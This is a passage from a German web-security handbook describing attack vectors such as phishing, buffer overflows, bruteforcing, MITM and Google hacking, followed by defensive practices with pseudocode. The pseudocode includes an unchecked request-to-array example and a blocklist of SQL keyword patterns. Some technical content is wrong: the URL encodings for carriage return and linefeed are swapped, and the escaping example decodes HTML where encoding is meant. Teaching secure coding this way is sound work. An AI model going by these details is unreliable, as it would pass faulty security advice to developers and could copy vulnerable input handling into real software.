Wählt ein Angreifer als Medium E-Mail, so kann er zusätzlichauch Mail-Spoofing-Techniken anwenden, um die Mail mög-lichst vertrauenswürdig erscheinen zu lassen. Dabei werden Ab-sender sowie der gesamte Header der E-Mail gefälscht. Auch derInhalt der E-Mail wird möglichst in den entsprechenden vertrau-enswürdigen Kontext gebracht. Für das Opfer kann die E-Mailfolglich so aussehen, als käme sie vom Kundendienst eines Un-ternehmens, der um die Aktualisierung von Zahlungsdaten bit-tet. Klickt es auf den beigefügten Link, so hat die Falle auchschon halb zugeschnappt.

82

Buffer Overflow

5.13 Buffer Overflow

Buffer Overflows (Pufferüberläufe) zählen zu den gängigsten Si-cherheitslücken in aktuellen Webapplikationen. Dabei wird es ei-nem Angreifer ermöglicht, Daten zu manipulieren oder sogar dieApplikation zum Absturz zu bringen bzw. nachhaltig zu beschä-digen.

Generell werden bei einem Pufferüberlauf zu große Datenmen-gen in einen dafür nicht vorgesehenen und vor allem zu kleinen,reservierten Speicherbereich geschrieben, wodurch dieser Ziel-bereich sinnbildlich überläuft. Sprich, es werden eventuell vor-handene, nachfolgende Informationen im Puffer (Speicher) über-schrieben.



Definition

Ein Buffer Overflow ist eine Technik zur Manipulierung desSpeichers einer Applikation. Generell existieren zwei Arten vonPufferüberläufen: heapbasierte und stackbasierte.

83schnell + kompakt


Heapbasierte Überläufe sorgen dafür, dass ein reservierterSpeicherbereich für ein spezielles Programm überläuft. DieDurchführung allerdings ist relativ kompliziert, das Ausnutzenerfolgt daher eher selten. In der Regel werden eher stackbasierteÜberläufe ausgenutzt.

Ein stackbasierter Überlauf ist möglich, wenn die Applikationein Objekt mit einer definierten Größe zur Laufzeit anlegt, umbeispielsweise Benutzereingaben zu speichern. In der Regel istder Stack so lange leer, bis das Programm diese Benutzereingabeerwartet. Genau an diesem Punkt schreibt die Applikation eineSpeicheradresse der späteren Daten auf den Stack und platziertdie Benutzereingaben darüber. Wenn dieser Vorgang abgeschlos-sen ist, wird diese Speicheradresse zurückgegeben und die Da-ten sind über diese verfügbar.

Da der Stack allerdings in seiner Größe begrenzt ist, muss bereitszu Beginn ein Speicherplatz mit einer fest definierten Größe re-serviert werden. Werden die zu speichernden Daten nicht aufihre Größe hin überprüft und direkt in den Stack geschrieben,lässt sich ein Überlauf generieren, indem absichtlich eine größereDatenmenge eingegeben wird.

Dieser Überlauf an sich stellt eigentlich kein großes Problem dar.Das sicherheitsrelevante Problem entsteht erst dann, wenn zu-sätzlich bösartiger Code injiziert wird.

Stürzt dieser Vorgang aufgrund des Überlaufs ab, versucht dieApplikation dennoch, die Daten zu retten, indem sie zur zurück-gegebenen Speicheradresse springt.

Versucht ein Angreifer nun, mit diesem Überlauf auch dieseSpeicheradresse zu manipulieren, springt die Applikation genauan die Adresse, an der sich der bösartige, injizierte Code befin-det. Dieser wird schlussendlich ausgeführt.

84

Buffer Overflow

Im Umkehrschluss bedeutet dies natürlich, dass ein Angreiferzum Injizieren bösartigen Codes Kenntnisse über den verwende-ten Speicherbereich besitzen muss, damit er die entsprechendeAdresse, an der sich später sein injizierter Code befindet, alsRücksprungadresse definieren kann.

Allerdings gibt es eine Möglichkeit, dieses Problem zu umgehen:Dabei wird der zu injizierende Code von NOP-Instruktionen (NoOperation Instructions) als Pointer eingerahmt. Der Angreifermuss folglich nun nicht mehr die genaue Rücksprungadressekennen, solange er eine Adresse im Rahmen trifft. Dank derPointer wird in jedem solchen Fall der Code ausgeführt.

Beispiel

Das folgende Beispiel liest sämtliche ausgewählten Optionen ei-nes Auswahlfelds in einem Formular ein. Da es sich hierbei ummehrere Optionen handeln kann, die als Array übergeben wer-den, wird ein entsprechendes Array zur Zwischenspeicherungangelegt.

Allerdings wird es im Vorhinein bereits hinsichtlich seiner Größeauf zehn Einträge beschränkt.

Werden nun jedoch elf oder mehr Optionen ausgewählt oder derHTTP-Request mit seinen POST-Daten wird direkt manipuliert,so versucht die Applikation nun, auf einen nicht allokiertenSpeicherbereich zuzugreifen, was einen Pufferüberlauf zur Folgehat.

string options[10] = Parameter['options'];

85schnell + kompakt


5.14 Bruteforcing

Bruteforcing (Methode der rohen Gewalt, auch Exhaustionsme-thode genannt) ist eine systematische Methode zur Lösung ver-schiedener Probleme. Diese Methode beruht auf dem intensivenAusprobieren aller (oder mindestens möglichst vieler) denkbarerFälle.

Bruteforce-Methoden sind in der Regel leicht zu implementieren,erfordern allerdings einen enormen (Rechen-)Aufwand. Beliebtist diese Methode vor allem bei der Ermittlung von Passwörtern.Dabei werden alle möglichen Zeichenkombinationen generiertund auf ihre Funktionsweise hin überprüft.


� Passwörter (vgl. Kapitel 4.1.7)

Definition

Das Bruteforcing findet in sämtlichen Bereichen der InformatikAnwendung, hauptsächlich allerdings in den Unterbereichender Kryptologie und Spieltheorie.

Nach wie vor existieren in der Informatik viele Probleme, für diees keinen effizienten Lösungsalgorithmus gibt. Wie im normalen

86

Exploiting

Leben ist der einfachste Ansatz zur Ermittlung einer algorithmi-schen Lösung das potenzielle Ausprobieren aller möglichen Lö-sungen, bis die korrekte und gewünschte Lösung gefunden wor-den ist.

Aufgrund der stetig wachsenden Rechnerleistung können be-reits auf einem herkömmlichen Rechner mehrere hunderttau-send Lösungen innerhalb einer Sekunde ausprobiert werden.Der genaue, benötigte Aufwand steigt proportional zur Anzahlder zu ermittelnden Lösungen. Die Anzahl der zu ermittelndenLösungen wiederum steigt exponenziell mit dem Umfang des zulösenden Problems.

Für die Durchführung dieser Methode werden Permutations15-und Kombinatorik16-Algorithmen verwendet.

Eine Gefahr dieser Methode liegt vor allem darin, dass auch si-cher geglaubte Passwörter, die als Hashes hinterlegt werden, zu-rückermittelt werden können. In der Regel sind Hashes irrever-sibel. Das bedeutet, dass anhand des Hash kein Rückschluss aufdas verschlüsselte Passwort möglich ist. Per Bruteforcing aller-dings werden einfach sämtliche möglichen Passwörter sowie derjeweilige Hash generiert und überprüft.

5.15 Exploiting

Ein Exploit ist ein Programm oder Script, das eine Sicherheitslü-cke innerhalb einer Applikation für Demonstrationszwecke aus-nutzt (vgl. Kapitel 4.2). Das Exploiting beschreibt einen Angriffs-vektor, der eine Vulnerabilität mit einem Exploit ausnutzt.

15. Veränderung der Anordnung einer Menge durch Vertauschen ihrer Elemente

16. Generierung verschiedener Anordnungen oder Kombinationen aus einer Menge von definierten Elementen

87schnell + kompakt



� Eingabevalidierung (vgl. Kapitel 4.1.1)� Zugriffs- und Rechtemanagement (vgl. Kapitel 4.1.2)� Sessionmanagement (vgl. Kapitel 4.1.3)� Datenmanagement (vgl. Kapitel 4.1.4)� Befehlszeilen (vgl. Kapitel 4.1.5)� Fehlerbehandlung (vgl. Kapitel 4.1.6)� Passwörter (vgl. Kapitel 4.1.7)� Serverkonfiguration (vgl. Kapitel 4.1.8)

Definition

Beim Exploiting agiert ein Angreifer weniger individuell. SeineVorgehensweise beschränkt sich lediglich auf die Verwendungder Arbeit anderer, da er mit bereits vorhandenen Exploits arbei-tet, die ursprünglich dazu gedacht waren, Sicherheitslücken auf-zuzeigen, um Entwickler bzw. Hersteller einer Software zur Be-reitstellung entsprechender Patches zu bewegen.

Diese Vorgehensweise ruft aufgrund ihrer Einfachheit nicht sel-ten eher unerfahrene Angreifer auf den Plan, die häufig nur diesinnlose Destruktion im Schilde führen oder auf sich aufmerk-sam machen möchten.

88

Man-In-The-Middle

5.16 Man-In-The-Middle

Ein Man-In-The-Middle-Angriff (MITM, Mann in der Mitte) istprimär ein Lauschangriff auf eine Applikation. Getreu dem Na-men steht der Angreifer hierbei entweder physikalisch oder lo-gisch zwischen zwei oder mehreren Kommunikationspartnern.

Der Angreifer schneidet dabei unter Zuhilfenahme verschiede-ner Methoden und Werkzeuge den Datenverkehr mit und wertetihn aus. Dabei agiert er eher passiv, ohne dass seine Identitätleicht aufgedeckt werden kann. Der Angreifer hat die volle Kon-trolle über den Datenverkehr. Er kann ihn beliebig einsehen odermanipulieren. Beliebt sind bei einer solchen Analyse Passwörter.


� Zugriffs- und Rechtemanagement (vgl. Kapitel 4.1.2)� Sessionmanagement (vgl. Kapitel 4.1.3)� Passwörter (vgl. Kapitel 4.1.7)

Definition

Die Durchführung eines Man-In-The-Middle-Angriffs kann aufverschiedene Arten und mit unterschiedlichen Werkzeugen er-folgen. Dabei ist selbstverständlich auch die Position des Angrei-fers von hoher Bedeutung. Hat er einen physikalischen Zugang

89schnell + kompakt


zum Netzwerk, so kann er sich mit einem eigenen Rechner unddiversen Tools mit dem Lauschangriff beschäftigen.

Andernfalls ist es ein wenig schwieriger, einen solchen Angriffdurchzuführen, da in der Regel ein Rechner im Netzwerk desOpfers missbraucht werden muss, damit er Daten mitschneidenkann. Auch hier hat er die Möglichkeit, auf diverse Werkzeugezurückzugreifen.

Sehr beliebt ist für einen solchen Angriff auch die Verwendungeines Trojaners, mit dem ein Angreifer uneingeschränkten Zu-griff auf den Rechner und folglich das gesamte Netzwerk desOpfers hat. Von diesem kann er auch weitere Angriffe durchfüh-ren. Er gelangt in jeden Fall problemlos an sämtliche sensiblenDaten.

Historisches

Der Man-In-The-Middle-Angriff wird auch Janusangriff ge-nannt. Der Name Janus stammt in diesem Fall aus der römischenMythologie des doppelköpfigen Ianus. Die Janusköpfigkeit desAngreifers steht in diesem Fall auch für die Tarnung des Angrei-fers, der dem jeweiligen Kommunikationspartner jeweils dasentsprechende Gegenüber vortäuscht, ohne dass seine Existenzvon einem der Partner erkannt werden kann.

Erste Ansätze für einen Man-In-The-Middle Angriff existierenbereits seit dem Jahr 1972. In diesem Jahr stellte Dan Edwards einKonzept zur Charakterisierung einer besonderen Rechnersicher-heitsbedrohung vor. Siebzehn Jahre später, im Dezember 1989,erschien dann das erste Trojanische Pferd in finanzieller Absicht.Es wurde unter Zuhilfenahme des Social Engineering als „AIDSInformation Introductory Diskette“ an Adressen in Europa, Afri-ka, Asien und der WHO verteilt.

90

Google Hacking

Auch das Bundeskriminalamt ist ein Freund von Man-In-The-Middle-Angriffen und entwickelt ca. seit dem Jahr 2006 den„Bundestrojaner“, der zum Ausspähen von Daten zum Zweckeder Strafverfolgung dienen, generell aber jederzeit eine verdeck-te Online-Durchsuchung von Computern ermöglichen soll.

5.17 Google Hacking

Das Google Hacking bezeichnet eine Methode, bei der sich einAngreifer einer komplexen Suchmaschine (meistens Google) be-dient, um verwundbare Rechner zu finden oder an vertraulicheDaten heranzukommen.

In der Google Hacking Database (GHDB) befinden sich typischeSuchanfragen, mit deren Hilfe sich sensible Daten herausfindenlassen. Auch wenn einige Suchmaschinen bereits manche Anfra-gen blockieren, so kann mit der GHDB eine Webapplikation pro-blemlos auf den Prüfstand gestellt werden.

Definition

Mit der Google Hacking Database17 lassen sich verschiedeneInformationen halbautomatisiert ermitteln. Darunter fallen unteranderem verräterische Fehlermeldungen, Server-Schwachstel-len, Dateien wie auch Verzeichnisse mit sensiblen Inhalten undWebseiten mit Login-Formularen.

Die GHDB ist sehr übersichtlich in diese einzelnen Kategorienunterteilt und enthält zu jedem Eintrag ausführliche Informatio-nen. Die spezielle Suchanfrage kann per Knopfdruck gestartetwerden.

Ob eine Webapplikation für das Google Hacking anfällig ist, lässtsich relativ leicht testen, indem sämtliche Einträge durchgegan-

17. http://johnny.ihackstuff.com

91schnell + kompakt


gen werden und überprüft wird, ob die entsprechende Applika-tion in irgendeinem Zusammenhang gefunden worden ist.

Am unkompliziertesten ist allerdings die Nutzung eines Web-scanners, der speziell nach Vulnerabilitäten für Google Hackingder entsprechenden Applikation sucht.

92

KAPITEL 6

Verteidigungsvektoren

6.1 Eingabevalidierung 94

6.2 Zugriffs- und Rechtemanagement 100

6.3 Sessionmanagement 102

6.4 Datenmanagement 103

6.5 Befehlszeilen 104

6.6 Fehlerbehandlung 105

6.7 Passwörter 105

6.8 Serverkonfiguration 106

6.9 SQL-Injection 107

6.10 Unit Testing 110

6.11 CAPTCHAs 111

6.12 Risikofaktor „Mensch“ 112

Analog zu den Angriffsvektoren gibt es auch Verteidigungsvek-toren. Ein Verteidigungsvektor bezeichnet die Vorgehensweisezur Vermeidung von Sicherheitslücken, aus denen eine Vulner-abilität resultiert.

Dabei lassen sich generell einige unterschiedliche Angriffsvekto-ren, die auf der gleichen Vulnerabilität basieren, mit den gleichenVerteidigungsvektoren ausschließen. In der Regel kann bereitsmit einem geringen Aufwand ein vergleichbar enormer Schutzerreicht werden.

In diesem Kapitel werden die grundlegenden Methoden zur Ab-sicherung einer Webapplikation erläutert. Es wird beschrieben,welche Angriffsvektoren (vgl. Kapitel 5) so ausgeschlossen wer-den können und mit welcher Arbeitsweise die Sicherheit undQualität einer Webapplikation gewährleistet werden kann.

93schnell + kompakt

6 – Verteidigungsvektoren

6.1 Eingabevalidierung

Die wohl meisten Angriffsvektoren basieren auf einer mangel-haften Eingabevalidierung. Eingaben von Benutzern werden da-bei nur unzureichend oder gar nicht validiert und direkt unkon-trolliert verwendet.

Generell ist es bereits mit einem geringen Aufwand möglich, dasRisiko diverser Angriffsvektoren enorm zu begrenzen. Grund-sätzlich gibt es mehrere Möglichkeiten, die kombiniert für einesichere Validierung sorgen: die Dekodierung, die Datentypüber-prüfung, die Eingabemaskierung sowie eine explizite Filterungder Eingaben.

Sämtliche Validierung muss in jedem Fall mindestens serversei-tig durchgeführt werden. Auf eine ausschließliche clientseitigeValidierung kann man sich nicht verlassen, da der Benutzereventuell JavaScript deaktiviert oder einen Blocker installiert hat.

Des Weiteren sollten neben den Eingaben auch die Ausgaben va-lidiert werden, damit eventuell bösartige Inhalte auch auf garkeinen Fall den Benutzer erreichen.

Schutz gegen Angriffsvektoren

� SQL Injection� Command Injection� Cross-Site Scripting� Exploiting� Buffer Overflows� Directory Traversal/Forced Browsing� Cookie Poisoning

94

Eingabevalidierung

Dekodierung

Benutzerdaten, die in einem Request übertragen werden, könnenunterschiedlich enkodiert sein. Zu Beginn sollten die ankom-menden Daten folglich dekodiert werden, bevor sie weiterver-wendet werden.

Bei der Dekodierung wird jede URL-Kodierung innerhalb einerZeichenkette dekodiert. Der String kann dann beliebig weiter-verwendet werden.

In manchen Programmiersprachen erfolgt die Dekodierung al-lerdings bereits automatisch beim Auslesen des Parameters. Indem Fall ist eine erneute Dekodierung nicht nötig.

Datentypüberprüfung

Ein großer Schritt in der Absicherung einer Applikation liegt be-reits in der impliziten Überprüfung des Datentyps. Dazu wirddas obige Beispiel ein wenig verfeinert.

In diesem Fall wird eine weitere numerische Id erwartet. Mit derFestlegung dieser auf den Datentyp Integer kann beispielsweisebereits im Vorhinein keine Zeichenkette eingeschleust werden.Der Versuch allein würde eine schwere Ausnahme auslösen, dadie Konvertierung (der sogenannte Cast) einer Zeichenfolge ineinen ganzzahligen Wert meist implizit nicht möglich ist und ex-plizit nicht gewünscht wurde.

string actionParam = decode(Parameter['action']);

string actionParam = decode(Parameter['action']);int id = decode(Parameter['id']);

95schnell + kompakt


Allerdings ist dies allein noch lange kein ausreichender Schutz.Oftmals werden Ids in Form eines Strings (z.B. Hash) verwendet.Hier müssen weitere Maßnahmen ergriffen werden.

Eingabemaskierung (Escapen)

Ein weiterer Schritt zur Absicherung der Anwendung liegt imEscapen von Benutzereingaben und URL-Parametern. Dabeiwerden eventuell enthaltene Funktionszeichen maskiert, um ih-nen so die Sonderfunktion zu nehmen.

Funktionszeichen in SQL sind beispielsweise der Backslash (\),das Apostroph ('), Anführungszeichen (") und das Semikolon (;).Diese Zeichen werden durch das Voranstellen des Maskierungs-zeichens (einem Backslash (\)) als Text gekennzeichnet. Diesbe-züglich wird die Anwendung erweitert. Jede Programmierspra-che bietet in der Regel eine Funktion, die diese Aufgabe erfüllt.

Im Fall von SQL Injections würde einem eingeschleusten Befehldie Funktionalität genommen. Der Befehl würde nicht mehr aus-geführt werden, sondern als Teil der Id abgefragt werden. Natür-lich resultiert hieraus ein Fehler, was prinzipiell berechtigt undgewollt ist.

Auch sollten eventuell vorhandene HTML-Sonderzeichen in ent-sprechenden HTML-Code umgewandelt werden, damit generellkein Code eingefügt werden kann, der später irgendwann ein-mal beim Abruf im Browser des Benutzers ausgeführt wird.

string id = escape(decode(Parameter['id']));

string id = htmldecode(escape(decode(Parameter['id'])));

96

Eingabevalidierung

Alle Programmiersprachen bieten auch hierfür eine passendeFunktion an.

Eingabenfilterung

Eine Filterung von Eingaben ist immer dann angebracht, wennkeine Seiteneffekte zu befürchten sind oder wenn die Art der Da-tenverwendung gefährliche Zeichen oder Zeichenketten auf-grund ihrer Natur erlauben muss.

Was genau gefiltert wird, hängt natürlich von den unterschiedli-chen Applikationen ab. Beispielsweise sollten HTML-Sonderzei-chen in einem Forum nicht strikt ausgefiltert werden, sondern le-diglich eine Umwandlung in HTML-Code erfolgen.

Es gibt folglich kein Universalrezept. Das „was“ und „wie“ beider Filterung muss genauestens durchdacht werden.

Größencheck

Sind die zu erwartenden Daten genauestens definierbar, sprich,es gibt ein allgemeingültiges Muster, so kann auch ein Größen-check durchgeführt werden.

Werden allerdings Strings mit Längen von mehr als dreißig Zei-chen oder ähnlich erwartet, so ist ein Größencheck relativ über-flüssig, da innerhalb von dreißig Zeichen bereits wieder diverseBefehle injiziert werden können.

string id = htmldecode(escape(decode(Parameter['id'])));

if ( length(id) <= 8 ) { [..]}

97schnell + kompakt


Reguläre Ausdrücke

Eine hervorragende Möglichkeit zur Überprüfung von Eingabenjeglicher Art sind Reguläre Ausdrücke. Unter einem RegulärenAusdruck (Regular Expressions/RegExp/Regex) wird eine Zeichen-kette verstanden, die eine Menge bzw. Untermenge von Zeichen-ketten in einer speziellen Notation beschreibt. Genau genommenhandelt es sich hierbei um ein Muster bzw. eine Schablone.

Hinweis

Ausführliche Informationen bezüglich Regulärer Ausdrückesind in dem gleichnamigen Buch von Christian Wenz (ISBN3-935042-90-6, entwickler.press) zu finden.

Hinweis

Ein gutes Online-Tool zur Überprüfung von Regulären Ausdrü-cken finden Sie unter http://www.nettz.de/Service/regexp.

Der Aufbau bzw. das Format einer Zeichenkette kann dank einesRegulären Ausdrucks exakt spezifiziert werden. Für fast alle Pro-grammiersprachen existieren Implementierungen, mit denen Re-guläre Ausdrücke genutzt werden können.

Wird als Eingabe beispielsweise eine Postleitzahl verlangt, sokann das verlangte Format (z.B. ein Länderkürzel gefolgt von ei-nem Bindestrich und einer maximal fünfstelligen Zahl) exaktfestgelegt und validiert werden.

string plz = htmldecode(escape(decode (Parameter['plz'])));string regex = '(D-)?[0-9]{5}';

if ( regcheck(regex) ) { [..]}

98

Eingabevalidierung

Die explizite Validierung mit Regulären Ausdrücken gehört mit-unter zu einer der erfolgreichsten Gegenmaßnahmen bei sämt-lichen Angriffsvektoren. Erlaubt ist in diesem Fall wirklich nurdas, was auch benötigt wird.

Je nach Anwendungsgebiet könnten auch sämtliche Befehle so-wie Funktionszeichen mit dieser Vorgehensweise ausgeschlos-sen werden. Im Fall von SQL-Klauseln wäre folglich jede Ein-gabe, die beispielsweise ein SELECT in Verbindung mit einemFROM oder ein DROP TABLE enthält, ungültig.

Allerdings ist hier bei Formulardaten größte Vorsicht geboten.Gerade bei längeren englischsprachigen Texten könnte es gene-rell möglich sein, dass solche Formulierungen auch ohne bösenHintergedanken enthalten sind. In der Regel kann bei URL-Para-metern stets diese Überprüfung stattfinden.

string plz = htmldecode(escape(decode (Parameter['plz'])));string regexs[2];bool regex_case_ignore = true;bool regex_fail = false;

regexs[0] = '(select)(.)*(from)';regexs[1] = '(drop)\s*(table)(.)*';

foreach regex in regexs { if ( regcheck(regex, regex_case_ignore) ) { regex_fail = true; }}

if ( !regex_fail ) { [..]}

99schnell + kompakt


Generell sollten sämtliche potenziell gefährlichen Zeichen gefil-tert werden. Dazu zählen allerdings nicht nur diverse verwende-te Metazeichen verschiedener Subsysteme, sondern auch allenicht druckbaren Zeichen von Hex-0 bis Hex-19, insbesondereaber das Null-Byte (\0, URL-enkodiert: %00), Carriage Return(\r, URL-enkodiert: %0a), Linefeed (\n, URL-enkodiert: %0d)und Tabulator (\t, URL-enkodiert: %09).

6.2 Zugriffs- und Rechtemanagement

Für ein ordentliches und sicheres Zugriffs- und Rechtemanage-ment ist eine strenge Sicherheitsrichtlinie erforderlich. Grund-sätzlich sollte ein Konzept erstellt werden, das den Zugriff unddie Rechte einzelner Benutzergruppen genauestens festlegt. Zu-sätzlich ist nach der erfolgten Realisation ein ausführlicher Testnötig, um das Konzept zu testen.

Zu Beginn sollten auf jeden Fall unsichere Schlüssel vermiedenwerden. Oftmals werden Benutzerrollen und entsprechendeRechte als Schlüssel bzw. Kennzahlen ausgedrückt. Erfolgt derTransport bzw. die Speicherung nicht sicher (beispielsweise in ei-nem Cookie), so kann ein Angreifer diese problemlos erratenund manipulieren.

Des Weiteren sollten innerhalb eines geschützten Bereichs, dernur privilegierten Benutzern zugänglich sein soll, auf jeder Seiteerneut die Rechte des entsprechenden Benutzers überprüft wer-den. Erfolgt das nicht konsequent, kann ein Benutzer imschlimmsten Fall die Autorisierung umgehen und direkt auf diegeschützte Ressource zugreifen, ohne wirklich privilegiert zusein.

Generell sollte auch das clientseitige Caching möglichst verhin-dert werden, damit eine Autorisierung garantiert bei jedem Auf-ruf durchgeführt bzw. überprüft wird. Gerade an öffentlichen

100

Zugriffs- und Rechtemanagement

Zugängen wie in Internet-Cafés oder Bibliotheken könnte an-dernfalls ein unautorisierter Benutzer den Zugang missbrau-chen.

Ein häufig unterschätztes Risiko stellen auch Dateiberechtigun-gen dar. In der Regel bietet es sich an, sämtliche Ressourcen un-terhalb des Hauptverzeichnisses der Applikation abzulegen undüber einen zentralisierten Punkt zu verwalten, der auch die Kon-trolle über das Zugriffs- und Rechtemanagement enthält.

Ein Zugang sollte möglichst nicht öffentlich sichtbar sein. DieMöglichkeit eines Login auf der Startseite einer Applikation ruftnicht selten ungebetene Angreifer auf den Plan, die sich „ver-suchen“ wollen.

Beim Einloggen sollte eine maximale Anzahl von Versuchen fest-gelegt werden, um eine Bruteforcing-Attacke sowie die Mög-lichkeit, den Zugang in irgendeiner Weise zu erraten, zu un-terbinden. Auch sollte beim Einloggen die Informationspolitikmöglichst gering gehalten werden. Es spielt keine Rolle, ob derBenutzername oder das Passwort inkorrekt ist, dem Benutzersteht lediglich die allgemeine Information des fehlerhaften Loginohne weitere Details zu.

Möchte ein Benutzer sein Passwort ändern, so spielt es keine Rol-le, ob er eine gültige Session hat oder nicht. Er muss stets sein ak-tuelles sowie sein neues, gewünschtes Passwort eingeben. DieÄnderung darf erst erfolgen, wenn das aktuelle Passwort korrekteingegeben worden ist.

Auch müssen Passwörter immer verschlüsselt hinterlegt wer-den. Es darf keine Rückschlussmöglichkeit auf das eigentliche,gewählte Passwort geben. Es darf auch keine Möglichkeit geben,in irgendeiner Art und Weise an gespeicherte Passwörter zu ge-langen.

101schnell + kompakt


Zu guter Letzt muss es eine Passwortrichtlinie geben, die für si-chere Passwörter sorgt. Ohne ein starkes Passwort kann der Restnoch so sicher implementiert sein, er bleibt unsicher. Man stellesich an dieser Stelle eine Bank mit dem sichersten Tresor der Weltvor, dessen Tür sich mit dem Zahlencode „1234“ öffnen lässt (vgl.Kapitel 6.7).


� Cross-Site Scripting� Cross-Site Request Forgery� Man-In-The-Middle-Attacken� Exploiting

6.3 Sessionmanagement

Ein sicheres Sessionmanagement sollte auf jeden Fall über einegesicherte Verbindung (HTTPS) erfolgen, damit im ersten Schrittbereits das Sniffen von Daten verhindert wird.

Des Weiteren muss eine Session exakt an den Benutzer gebundenwerden. Dafür reicht eine Session-Id alleine nicht aus. Serversei-tig sollte sie zusätzlich an die IP-Adresse des Benutzers gebun-den werden. Allerdings sollte man sich darüber im Klaren sein,dass manche Provider wie z.B. AOL ihre Benutzer über einenProxy-Verbund surfen lassen, so dass die IP-Adresse nach jedemSeitenaufruf anders sein kann.

Je mehr Informationen von der Client-Seite bekannt sind, umsomehr Informationen können für eine solche Bindung genutztwerden. Zum Beispiel kann auch direkt der verwendete Browserals zusätzliche Information überprüft werden.

Prinzipiell sollte außerdem die Lebensdauer einer Session einge-schränkt werden. Dabei sollten in jedem Fall ein Hard-TimeOutsowie ein Soft-TimeOut verwendet werden. Beim Hard-TimeOut

102

Datenmanagement

wird eine maximale Lebensdauer der Session festgelegt. DasSoft-TimeOut hingegen greift bei einer zuvor definierten Inakti-vitätszeit.

Generell sollten auch stets keine alten Sessions weiterverwendetwerden. Verfällt eine Session und der Benutzer loggt sich neu ein,muss eine neue Session erstellt werden. Sofern es nicht zwingenderforderlich ist, sollte auch darauf verzichtet werden, generell je-dem Benutzer eine Session zuzuweisen, obwohl er nicht einge-loggt ist.

Nicht zu unterschätzen ist auch eine Funktionalität zur Beendi-gung der Session bzw. zum Ausloggen.


� Exploiting� Session Hijacking� Session Fixation� Cookie Poisoning� Man-In-The-Middle-Attacken

6.4 Datenmanagement

So sicher verschiedene Verschlüsselungsalgorithmen auch teil-weise wirken mögen, größtenteils sind sie in Webapplikationendeplatziert und sorgen im schlimmsten Fall für das kompletteGegenteil: die Unsicherheit der hinterlegten Daten.

Passwörter sollten wie bereits erwähnt irreversibel mit Hash-Algorithmen verschlüsselt werden. Bei Bank- und Kreditkartenist es in der Regel sicherer, den Benutzer nochmals zur Eingabeaufzufordern, anstatt irgendwelche Verschlüsselungsalgorith-men zu verwenden, die bereits als unsicher markiert wordensind.



Oftmals soll dem Benutzer allerdings ein solches Szenario er-spart werden. Soll in diesem Fall dennoch ein Verschlüsselungs-algorithmus Verwendung finden, so sollte in jedem Fall ordent-lich recherchiert werden, welche Algorithmen bisher noch alssicher gelten.

Erfolgt eine solche Verschlüsselung auf Basis eines Schlüssels, somuss der Schlüssel absolut sicher hinterlegt werden, so dass erzu keinem Zeitpunkt von einem Angreifer ermittelt werdenkann.


� Exploiting

6.5 Befehlszeilen

Auf die Integration von Befehlszeilen sollte trotz noch so großerKomplexität verzichtet werden. Sie stellt ein viel größeres Risikodar, als sie mit ihrem Nutzen ausgleichen könnte.

Die meisten Programmiersprachen bieten bereits von Haus ausdiverse Funktionen an, die die gängigsten Anwendungsgebieteabdecken. Das Anlegen, Manipulieren und Löschen von Dateienbeispielsweise kann mittlerweile in jeder Sprache ohne eine Be-fehlszeile durchgeführt werden.

Ist das Einbinden einer Befehlszeile aus irgendwelchen Gründenunvermeidbar, so muss auf jeden Fall eine absolut sichere Ein-gabevalidierung (vgl. Kapitel 6.1) durchgeführt werden.


� Command Injection � Exploiting� Forced Browsing

104

Fehlerbehandlung

6.6 Fehlerbehandlung

Eine durchgängige Fehlerbehandlung ist eine absolute Pflicht.Sie dient nicht nur der eigentlichen Kontrolle über das Laufzeit-verhalten der Anwendung, sondern in erster Linie auch der Si-cherheit.

Öffentliche Fehlermeldungen sollten stets auf ein Minimum re-duziert und möglichst nichtssagend gestaltet werden. Eine zufäl-lig generierte Fehlernummer in Verbindung mit einer anderenProtokollierung (z.B. per Log-Datei) ist deutlich sicherer und imGrunde auch benutzerfreundlicher, da der „Otto-Normal-Benut-zer“ mit einer detaillierten Fehlermeldung generell nur weniganfangen kann. Um genau zu sein, sollte er damit auch nichts an-fangen können. Prinzipiell sind solche Fehlermeldungen nur fürAngreifer von Vorteil.

Da in jedem Fall eine Protokollierung der Fehler erfolgen muss,damit der Entwickler darauf reagieren kann, ist es nicht sonder-lich schwer, sämtliche Fehlermeldungen auf ein Minimum zu re-duzieren.

Fakt ist: Je weniger Informationen ein Angreifer bekommt, destoweniger Angriffsfläche bietet die Applikation für ihn.



6.7 Passwörter

Auch wenn heutzutage an jeder Ecke über sichere Passwörter ge-sprochen wird, so stellen diese in der Realität doch eine erhebli-che Schwachstelle dar. Das Sicherheitsbewusstsein von Benut-zern ist teilweise erschreckend gering.



Passwörter dürfen in gar keinem Fall auf Basis des Benutzer-namens ermittelbar sein. Auch sind Standardpasswörter odergenerelle, sinnvolle Passwörter strikt untersagt. Ein wirklich si-cheres Passwort darf auf gar keinen Fall einen offensichtlich er-kennbaren Sinn ergeben. Namen von nahestehenden Personen,Haustieren, Geburtsdaten, was auch immer, sind unzulässig.

In Anbetracht der heutigen Rechenzeit für Bruteforce-Attackensollten Passwörter auch generell mindestens acht bis zehn Zei-chen lang sein und Buchstaben, Zahlen sowie auch Sonderzei-chen enthalten.

Ein Entwickler hat mit einer strengen Sicherheitsrichtlinie dafürSorge zu tragen, dass seine Benutzer sich weitestgehend an dieseRegeln halten.


� Exploiting� Social Engineering� Bruteforcing� Man-In-The-Middle-Attacken

6.8 Serverkonfiguration

Eine sichere Serverkonfiguration stellt die Basis einer sicherenWebapplikation dar. Dazu zählen Services, die für sich keine Si-cherheitslücken aufweisen. Wird eine Sicherheitslücke entdeckt,muss umgehend reagiert und ein Patch eingespielt werden.

Selbstverständlich muss die Konfiguration der entsprechendenServices auch sicher durchgeführt werden. Nicht benötigte Ser-vices stellen einen unnötigen Ballast dar und sollten deaktiviertwerden.

106

SQL-Injection

Auch spielen in diesem Bereich starke Passwörter eine wichtigeRolle (vgl. Kapitel 6.7). Standard- wie auch Gastzugänge solltendeaktiviert bzw. entfernt werden. Generell bietet es sich an, denZugriff des Administrators nur lokal zu erlauben.

Nicht zu vergessen ist auch die Analyse von Log-Files. Anhanddieser lassen sich mögliche Angriffe bereits frühzeitig erkennenund entsprechende Gegenmaßnahmen einleiten. Mittlerweilegibt es hierfür auch einige automatisierte Werkzeuge, die einesolche Analyse übernehmen und mögliche Gefahren frühzeitigerkennen.

Zu guter Letzt bietet weitestgehend jeder Service (Web-, FTP-und Mailserver usw.) die Möglichkeit, sämtliche Informationenüber Service und Betriebssystem auf ein Minimum zu reduzie-ren. Auch eine solche Vorgehensweise ist durchaus ratsam. Ge-nerell ist die Informationspolitik des Servers, der Applikationund eines jeden Service auf ein Minimum zu reduzieren.



